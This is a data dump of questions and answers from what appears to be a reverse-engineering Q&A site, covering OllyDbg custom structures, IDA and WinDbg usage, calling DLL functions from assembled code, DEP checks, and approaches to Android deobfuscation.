  <row Id="11893" PostTypeId="1" AcceptedAnswerId="11911" CreationDate="2016-01-30T09:35:52.263" Score="3" ViewCount="1675" Body="&lt;p&gt;In Ollydbg's hex dump window (lower left quadrant of CPU window) one can interpret data as structures, you can right-click on one or more bytes and see the options &quot;Decode as structure&quot; or &quot;Decode as pointer to structure&quot; (if more than one byte selected).  It then opens a new window with the data laid out vertically, with each data element shown as a row.  You can decode more than one instance.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I'd like to add my own structure types.  Imagine I have this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct {&#xA;           double x,y,z;   &#xA;           unsigned char id;&#xA;           int label;&#xA;           char *name_string;&#xA;           anotherStructType *struct;       &#xA;           } model_type;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below are some images showing the steps, with the fixed structure type &quot;COORD&quot; chosen.  Imagine I want to decode it instead with the above 'model_type' structure type.  Perhaps the answer lies in some command line or .ini manual setting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it would be nice if this could be used along with labels to identify struct elements in the disassembly window, for example [EAX+1C] could be interpreted as 'player.id' if one could somehow tell Olly EAX is the base pointer.  But perhaps I'm getting carried away...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/YBsmI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YBsmI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EIXAu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EIXAu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &#xA;&lt;a href=&quot;https://i.stack.imgur.com/tUIyb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tUIyb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="14858" LastEditDate="2016-01-30T09:43:15.407" LastActivityDate="2016-02-01T09:52:56.033" Title="Creating my own custom structure in Ollydbg" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11894" PostTypeId="2" ParentId="11882" CreationDate="2016-01-30T12:32:46.847" Score="2" Body="&lt;p&gt;It seems that there is no API for creating an empty IDB. However, you can use the command line switches to start IDA with an empty IDB like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaq.exe -t -p&amp;lt;ProcessorName&amp;gt; &amp;lt;IdbPath&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will launch IDA with a new, empty IDB.&lt;/p&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2016-01-30T12:32:46.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11896" PostTypeId="2" ParentId="11892" CreationDate="2016-01-30T18:02:29.017" Score="3" Body="&lt;p&gt;&lt;code&gt;select -&amp;gt; ctrl+c&lt;/code&gt; copy the whole display as text usefull for taking notes &#xA;option available in all mdi windows &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CPU Disasm&#xA;Address          Hex dump   Command                                     Comments&#xA;01261970 _allmul /$  8B4424 MOV     EAX, DWORD PTR SS:[ESP+8]      ; multiargs._allmul(void)&#xA;01261974         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+10]&#xA;01261978         |.  0BC8   OR      ECX, EAX&#xA;0126197A         |.  8B4C24 MOV     ECX, DWORD PTR SS:[ESP+0C]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binary copy copies only the bytes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8B 44 24 08 8B 4C 24 10 0B C8 8B 4C 24 0C&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;binary paste pastes multiple bytes    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;for pasting several copied bytes your paste area selection must be &#xA;as big as copy  if you copied 5 bytes and want to paste 5 bytes select 5 bytes before pasting &lt;/p&gt;&#xA;&#xA;&lt;p&gt;to make the address column symbols highlighted use &#xA;&lt;code&gt;options (alt + o ) dump -&amp;gt; highlight symbolic names&lt;/code&gt; in address column&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-01-30T18:02:29.017" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11898" PostTypeId="1" CreationDate="2016-01-30T22:57:51.243" Score="2" ViewCount="177" Body="&lt;p&gt;I'm using WinDbg to debug a program under WOW64 (OS is x64, app is 32-bit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across some indirect call inside the process module (module created by the app and not Windows), and started following it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stepping into this call gets me to an &lt;code&gt;(*)&lt;/code&gt; address which doesn't match any loaded module:&#xA;Tried to search manually with &lt;code&gt;lm&lt;/code&gt;, didn't see a match.&#xA;Used &lt;code&gt;!address&lt;/code&gt; command with that address, and it says the page is committed but the protection is &lt;code&gt;PAGE_NOACCESS&lt;/code&gt;.&#xA;Also the stack trace gives me a warning &quot;frame ip not in any known module&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stepping one more, I get again an indirect call to &lt;code&gt;fs[0c0h]&lt;/code&gt; which is a stub for &lt;code&gt;WOW32Reserved&lt;/code&gt; (after some more single stepping I get into &lt;code&gt;ntdll.dll&lt;/code&gt;. So it's obviously some WOW64 code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, where did the code in &lt;code&gt;(*)&lt;/code&gt; came from? Who's responsible for it? Why isn't it mapped to any module?&lt;/p&gt;&#xA;" OwnerUserId="14616" LastEditorUserId="245" LastEditDate="2016-05-31T08:18:51.607" LastActivityDate="2016-06-30T08:28:01.237" Title="EIP not in known module, under WOW64" Tags="|windows|windbg|amd64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11899" PostTypeId="1" AcceptedAnswerId="11901" CreationDate="2016-01-31T00:22:07.233" Score="1" ViewCount="1040" Body="&lt;p&gt;Is there any easy way by using windbg/ollydbg to figure out a memory range or simply an address is DEP-enabled or not?&lt;/p&gt;&#xA;" OwnerUserId="4758" LastEditorUserId="4758" LastEditDate="2016-01-31T04:56:33.687" LastActivityDate="2016-01-31T04:56:33.687" Title="How to check if a memory range or an address is DEP-enabled or not?" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11900" PostTypeId="1" CreationDate="2016-01-31T01:06:17.610" Score="3" ViewCount="2142" Body="&lt;p&gt;I am trying to call the USER32.DLL function from assembly code.  I launched an application (calc.exe) in Ollydbg 2.01.  I chose calc.exe just because I know it loads USER32.DLL.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see the format as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, uType);&#xA;        hWnd=0 usually  &quot;If this parameter is NULL, the message box has no owner window&quot;&#xA;        uType = MB_OK =0 for OK button only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms645505(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pushing the 4 values on the stack and then trying to enter the following into Olly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL DWORD PTR DS:[&amp;lt;&amp;amp;USER32.MessageBoxA&amp;gt;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But Olly won't assemble it and gives me the error &quot;Please specify module&quot;&#xA;(as in &lt;a href=&quot;http://d2mods.info/forum/viewtopic.php?f=8&amp;amp;t=62663&amp;amp;p=485080&quot; rel=&quot;nofollow noreferrer&quot;&gt;link&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xUC75.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xUC75.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know USER32.DLL is loaded: &lt;a href=&quot;https://i.stack.imgur.com/VfsJM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VfsJM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and I do see that messagebox procedure is in memory&lt;a href=&quot;https://i.stack.imgur.com/eORBR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eORBR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edit: It appears I can't use the exact syntax Olly disassembles as.  For example, calc.exe calls USER32.MessageBeep, but it does it indirectly by using an addressed stored at 00121420 = &amp;amp;USER32.MessageBeep.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00145C19  |.  FF15 20141200 CALL DWORD PTR DS:[&amp;lt;&amp;amp;USER32.MessageBeep&amp;gt; ; \USER32.MessageBeep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get Olly to create the same instruction I would double-click and assemble:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CALL DWORD PTR DS:[00121420]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00145C19  |.  FF15 20141200 CALL DWORD PTR DS:[&amp;lt;&amp;amp;USER32.MessageBeep&amp;gt; ; \USER32.MessageBeep&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will appear.  It would be nice if I could figure out how to type the label USER32.MessageBeep instead of hunting for it and copy/pasting the address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems perhaps there is more to know before one can simply call a function in a loaded DLL. When I see people edit patches in Olly to call procedures from other modules they seem to be only calling procedures already called by the original program, whereas for USER32.DLL with MessageBoxA I have the extra challenge of it not being in memory.  I got strange results when I tried to call the messagebox (it appeared in the background but wouldn't let the mouse go near it and returned to a strange address of 90909090 -possibly due to my next instruction opcodes).   Perhaps this strange behavior is due to it having needed to do some setup for messageboxes which wasn't done by the program.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So perhaps an answer to my question depends on whether the procedure is somehow already loaded by the original program.  In Blabbb's answer, s/he uses notepad.exe not calc.exe.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is perhaps getting more unfocused but perhaps a good answer to my question could explain how other modules are loaded, as well as how to make this happen in Ollydbg.  I am still learning how PE applications are loaded into memory but I wonder if the answer is that to go between modules we shouldn't expect to see the relative CALL opcode E8 (see blabbb's comment below) since the programmer doesn't know what address in memory the DLL procedure will be loaded into, and in the original program they must go indirectly through an indirect CALL with opcode FF15 instead.  I assume this may be related to the act of &quot;registering a DLL function maybe?&quot;.  In calc.exe it looks like MessageBoxA can't be called indirectly (unless if I edit memory somewhere with its address perhaps).  But if I am paused inside a program already loaded into Olly I should be able to assemble these relative CALL instructions and invoke the procedure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case with calc.exe I see some, but not all, USER32.DLL procedures in the calc .text part of memory.  It appears programs call them indirectly through this list.  For example here are some of the USER32&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JdM6u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JdM6u.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With calc.exe I can't find MessageBoxA here, but if I look for its address in the USER32.DLL module, and select names (see below)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6UDmw.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6UDmw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can sort by name, and start typing the name so it finds it for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NEZsU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NEZsU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then assemble call 7634FD1E&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00148C40      6A 00         PUSH 0&#xA;00148C42      68 598C1400   PUSH 00148C59                            ; ASCII &quot;cap&quot;&#xA;00148C47      68 5D8C1400   PUSH 00148C5D                            ; ASCII &quot;text&quot;&#xA;00148C4C      6A 00         PUSH 0&#xA;00148C4E      E8 CB702076   CALL MessageBoxA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AyAXE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AyAXE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14858" LastEditorUserId="14858" LastEditDate="2016-01-31T07:03:11.400" LastActivityDate="2016-03-01T16:53:17.697" Title="Ollydbg -how to call procedure in other DLL (in my case USER32.DLL)" Tags="|ollydbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11901" PostTypeId="2" ParentId="11899" CreationDate="2016-01-31T04:20:02.040" Score="1" Body="&lt;p&gt;For your case all &quot;DEP enabled&quot; for a process means is that the stack and heap are not writable and executable. By the time you can attach a debugger you just need to check if the stack and heap are ReadWrite or ReadWriteExecute. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Windbg you can use either !vprot or !address to get this information. In Olly I believe there's a window under view that will give you a list of the memory regions in a process and their associated protections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can check the PE header of an executable to see if it supports DEP or not. The &lt;a href=&quot;https://github.com/corelan/mona&quot; rel=&quot;nofollow&quot;&gt;mona&lt;/a&gt; plugin gives you a quick command to see this, but there are probably others as well.&lt;/p&gt;&#xA;" OwnerUserId="1306" LastActivityDate="2016-01-31T04:20:02.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11903" PostTypeId="2" ParentId="11900" CreationDate="2016-01-31T05:37:26.883" Score="3" Body="&lt;p&gt;Names are meaningless unless you speak the language of the interpreter binary is universal&lt;br&gt;&#xA;when in doubt choose binary&lt;br&gt;&#xA;use &lt;code&gt;call 12345678&lt;/code&gt; instead of &lt;code&gt;call @lkfklsdf.skhfkhfasfhkasjfh&lt;/code&gt;&lt;br&gt;&#xA;or learn the language &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call DWORD [user32.MessageBoxA] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it should take no more than a few minutes to form logic instead of hours waiting for a reply in a forum &lt;/p&gt;&#xA;&#xA;&lt;p&gt;screen shot shows a few variation of the call syntax&lt;br&gt;&#xA;explore and experiment things before asking questions &lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ff 15 is an indirect call &#xA;e8 is a direct call &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the dll is loaded then you can call with &lt;code&gt;E8&lt;/code&gt;&lt;br&gt;&#xA;an indirect call needs an import already resolved&lt;br&gt;&#xA;in the example though the indirect call is resolved&lt;br&gt;&#xA;it will  be calling a DWORD pointed by the symbol (bogus address)&lt;br&gt;&#xA;behavior does not matter if it calc or notepad if you noticed i am     assembling on ntdll address space     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VDYeM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDYeM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/1AQTz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1AQTz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2016-01-31T16:15:22.477" LastActivityDate="2016-01-31T16:15:22.477" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11905" PostTypeId="2" ParentId="11898" CreationDate="2016-01-31T17:40:51.827" Score="1" Body="&lt;p&gt;This sounds like the process has allocated a page for itself, in which it has placed code to run.  It might be a form of obfuscation, or if the file was packed, then the unpacker code might be in that page.  If you're able to step into the code, then it can't be &lt;code&gt;PAGE_NOACCESS&lt;/code&gt;, so perhaps the debugger is confused.  The call through &lt;code&gt;fs[0c0h]&lt;/code&gt; is the interface for 32-bit code to call kernel code in a 64-bit environment.  Depending on the version of Windows, there is either a far jump at that location (pre-Win10), or some stack manipulation followed by a &lt;code&gt;retf&lt;/code&gt; (Win10).&lt;/p&gt;&#xA;" OwnerUserId="1323" LastEditorUserId="245" LastEditDate="2016-05-31T08:19:49.153" LastActivityDate="2016-05-31T08:19:49.153" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11907" PostTypeId="2" ParentId="11876" CreationDate="2016-01-31T18:16:29.110" Score="1" Body="&lt;p&gt;This isn't the cleanest solution, and I still don't know how to make gdb do it properly. My solution was to simply manually &quot;call&quot; the function by:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Save the current set of registers (&lt;code&gt;info reg&lt;/code&gt; =&gt; log file).&lt;/li&gt;&#xA;&lt;li&gt;Set up parameters by manually modifying registers, pushing things onto the stack, etc, being careful to make sure not to overwrite anything higher than the current stack pointer.&lt;/li&gt;&#xA;&lt;li&gt;Put a breakpoint on each return from the function I want to call. (Note: possibly in the future it would work better to just set the return address to some arbitrary point and then set a breakpoint on that point.)&lt;/li&gt;&#xA;&lt;li&gt;Set the program counter to the address of the function I want to call.&lt;/li&gt;&#xA;&lt;li&gt;Once the breakpoint hits, inspect return values etc.&lt;/li&gt;&#xA;&lt;li&gt;Restore the register values by hand (including the stack pointer).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This isn't perfect, since it requires a lot of manual effort at the beginning and end, but works well enough for occasional use.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-01-31T18:16:29.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11908" PostTypeId="1" CreationDate="2016-01-31T23:56:59.540" Score="3" ViewCount="5897" Body="&lt;p&gt;In the case of an PE file or an ELF file, there is quite a lot of material out there on how to approach deobfuscation, dumping from memory, reconstructing symbols etc. For android binaries that does not seem to be the case.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How do you approach APKs that are obfuscated with ProGuard, DexGuard or custom obfuscators?&lt;/li&gt;&#xA;&lt;li&gt;How do you deal with string encryption and reflection? Do you debug via jdb and look for class loading?&lt;/li&gt;&#xA;&lt;li&gt;Any reading recommendations?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2019-08-26T20:43:05.877" Title="Working with Android obfuscation" Tags="|android|apk|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11909" PostTypeId="2" ParentId="11908" CreationDate="2016-02-01T01:16:46.897" Score="5" Body="&lt;p&gt;Here's how I would approach it. Which isn't necessarily the best approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first step is to find out what kind of obfuscation the app is using by looking around with your favorite decompiler. Most apps actually aren't obfuscated, or only have name obfuscation. If the names are obfuscated, it will still be annoying to RE, but the code is at least intact. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the app has name obfuscation, you can try to see if they also obfuscated any popular libraries or sdks. Google some of the string literals and see if anything is recognizable as an open source library. If so, you can write a script to match up the obfuscated code with the open source library code and replace everything with the unobfuscated names. This usually takes some heuristics and manual tuning since things won't match up exactly. Once you've removed the libraries, the amount of code you need to manually RE is greatly reduced.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few apps have more complicated obfuscation methods. For example, string encryption. Some people will actually run the code to dump the decrypted strings, which has the advantage of (mostly) working regardless of encryption method. I prefer to do everything statically, so I just look at what the decryption functions do and write a script to decrypt all the strings in the code and replace them with the original strings. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I actually haven't seen any Android apps which use reflection for obfuscation (using it to access private apis is another story). But I have seen it in Java programs, and it's still pretty simple to handle. Once you've decrypted all the strings, you can write another script to replace the reflection calls with the original methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's about it as far as Java code obfuscators go. Packers and native code loaders are a different story. I don't have experience with them, but the usual approach is to run the app and dump the unpacked code.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2016-02-01T01:16:46.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11911" PostTypeId="2" ParentId="11893" CreationDate="2016-02-01T09:52:56.033" Score="3" Body="&lt;p&gt;&lt;strong&gt;BE AWARE&lt;/strong&gt; &lt;code&gt;what follows are undocumented stuff&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;create a &lt;code&gt;file either named as [binary].arg&lt;/code&gt; or &lt;code&gt;common.arg&lt;/code&gt;&lt;br&gt;&#xA;the first name is applicable to only to the specific [binary]&lt;br&gt;&#xA;the second name common.arg is applicable globally &lt;/p&gt;&#xA;&#xA;&lt;p&gt;paste this inside the file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;STRUCT _MYSTRUCT&#xA;QWORD DOUBLE x&#xA;QWORD DOUBLE y&#xA;QWORD DOUBLE z&#xA;BYTE  CHAR  id&#xA;DWORD INT label&#xA;DWORD ASCII* name&#xA;DWORD INT* foo&#xA;END&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;drop the file in the folder where ollydbg resides.&lt;br&gt;&#xA;_MYSTRUCT should be available in the drop down box now &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;STRUCT&lt;/code&gt; is a keyword&lt;br&gt;&#xA;struct names need a leading underscore&lt;br&gt;&#xA;the members are defined like&lt;br&gt;&#xA;FIELDSIZE, TYPENAME , MEMBERNAME   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;valid FIELDSIZE are   &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;BYTE&lt;/li&gt;&#xA;&lt;li&gt;WORD&lt;/li&gt;&#xA;&lt;li&gt;THREE&lt;/li&gt;&#xA;&lt;li&gt;DWORD&lt;/li&gt;&#xA;&lt;li&gt;QWORD&lt;/li&gt;&#xA;&lt;li&gt;TBYTE&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;that correspond to sizes &lt;code&gt;1,2,3,4,8,16&lt;/code&gt;&lt;br&gt;&#xA;TYEPNAMES are vast you should try and err&lt;br&gt;&#xA;i have posted some which are common&lt;br&gt;&#xA;Notice i have cast Your last Structure as INT* instead of anotherstruct*&lt;br&gt;&#xA;for which you may need to add a custom type in the file&lt;br&gt;&#xA;you can specify a repeat count with asterisk *    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;BYTE*48 BYTE somecrap  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;somecrap is MemberName a string    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;END is a keyword&lt;/code&gt; denoting end of structure    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;some dummy src that use the structure from your Query compiled executed and &#xA;screen shot below&lt;/p&gt;&#xA;&#xA;&lt;p&gt;src &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;#pragma pack(1)&#xA;typedef struct _TESTY {&#xA;    int a;&#xA;    int b;&#xA;}Testy,*PTesty;&#xA;typedef struct _MYSTRUCT {&#xA;    double x,y,z;&#xA;    unsigned char id;&#xA;    int label;&#xA;    char *name;&#xA;    Testy *foo;&#xA;}MyStruct,*PMyStruct;&#xA;&#xA;int main (void) {&#xA;    MyStruct blah;&#xA;    Testy arrgh;&#xA;    char *test = &quot;hello do i know c ?&quot;;&#xA;    memset(&amp;amp;blah,0,sizeof(blah));&#xA;    blah.x=43.0;&#xA;    blah.y=76.34;&#xA;    blah.z=0.0;&#xA;    blah.id = 'a';&#xA;    blah.label = 54;&#xA;    blah.name = test;&#xA;    arrgh.a =45;&#xA;    arrgh.b =54000;&#xA;    blah.foo = &amp;amp;arrgh;&#xA;    printf(&quot;%f\n&quot;,blah.x);&#xA;    printf(&quot;%s\n&quot;,blah.name);&#xA;    printf(&quot;%d\n&quot;,blah.foo-&amp;gt;b);&#xA;    return 0;   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;executed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;structy.exe&#xA;43.000000&#xA;hello do i know c ?&#xA;54000 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running with ollydbg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ollydbg.exe structy.exe &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;the log windows shows it used the structure definitions we provided by xxxxx.arg &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Log data&#xA;Address   Message&#xA;          OllyDbg v2.01&#xA;          Command line: structy.exe&#xA;          Loading function descriptions from 'common.arg'&#xA;            2 structures&#xA;            Total size of known data is 1521777 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;screen shot &#xA;&lt;a href=&quot;https://i.stack.imgur.com/y3tEu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/y3tEu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-02-01T09:52:56.033" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11914" PostTypeId="1" AcceptedAnswerId="11921" CreationDate="2016-02-02T00:01:04.633" Score="1" ViewCount="3260" Body="&lt;p&gt;I'll appreciate if anyone can give me a couple advices regarding kernel debugging/reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance if i want to know how the heap manager works what should i look for ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no experience in reversing kernels.&lt;/p&gt;&#xA;" OwnerUserId="14916" LastActivityDate="2022-04-26T17:06:37.517" Title="Advice about first steps on reversing windows kernel" Tags="|windows|kernel-mode|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11915" PostTypeId="2" ParentId="11914" CreationDate="2016-02-02T00:42:30.927" Score="2" Body="&lt;p&gt;Since this is tagged windows, getting that kind of information is fairly easy these days:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Go read Windows Internals by Russinovich, et all. This is an excellent book (actually two books) on how everything works.&lt;/li&gt;&#xA;&lt;li&gt;Read the source code from &lt;a href=&quot;http://source.winehq.org/WineAPI/ntdll.html&quot; rel=&quot;nofollow&quot;&gt;Wine&lt;/a&gt; or &lt;a href=&quot;http://doxygen.reactos.org/dir_133750c6c1d4a2ce5f64c38c0ac0b3cf.html&quot; rel=&quot;nofollow&quot;&gt;ReactOS&lt;/a&gt; which have already reverse engineered most of the kernel. This is a great way to answer specific questions about individual APIs / code paths.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3556" LastEditorUserId="3556" LastEditDate="2016-02-02T20:48:28.993" LastActivityDate="2016-02-02T20:48:28.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
